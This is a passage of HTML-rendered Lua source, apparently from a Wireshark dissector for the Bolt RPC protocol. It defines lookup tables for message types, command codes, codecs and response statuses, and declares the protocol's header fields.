&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;BOLT&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;TR&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_type&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Request&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Request Oneway&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Response&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_cmdcode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;HeartBeat&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Request&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Response&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_version2&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;v1&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;v2&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_codec&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;HESSIAN_CODEC&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;JAVA_CODEC&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;PROTOBUF_CODEC&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_responsestatus&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;00&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Success&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;01&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Error&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;02&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Server Exception&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;03&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Unknown Exception&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;04&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Server Thread Pool Busy&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;05&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Error Communication&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;06&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;No Processor&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;07&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Timeout Exception&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;08&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Client Send Error&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;09&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Codec Exception&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Connection Closed&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Server Serialize Exception&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Server DeSerialize Exception&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- declare the fields&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_proto&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.uint8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.proto&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Protocode&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base.Dec&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_proto&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_type&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.uint8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.type&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Type&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base.Dec&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_type&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_cmdcode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.uint16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.cmdcode&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Cmdcode&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base.Dec&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_cmdcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_version2&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.uint8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.version&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Version&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base.Dec&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_version2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_req_id&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.uint32&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.reqid&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;RequestID&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base.DEC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_codec&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.uint8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.codec&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Codec&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base.DEC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_codec&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_timeout&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.uint32&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.timeout&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Timeout&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base.DEC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_response_status&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.uint32&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.response.status&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Response Status&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base.DEC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_responsestatus&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_classlen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.uint16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.classlen&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Classlen&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base.DEC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_headerlen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.uint16&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.headerlen&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Headerlen&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base.DEC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_contentlen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.uint32&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.contentlen&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Contentlen&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base.DEC&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f_class&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProtoField.string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;bolt.class&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Class&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
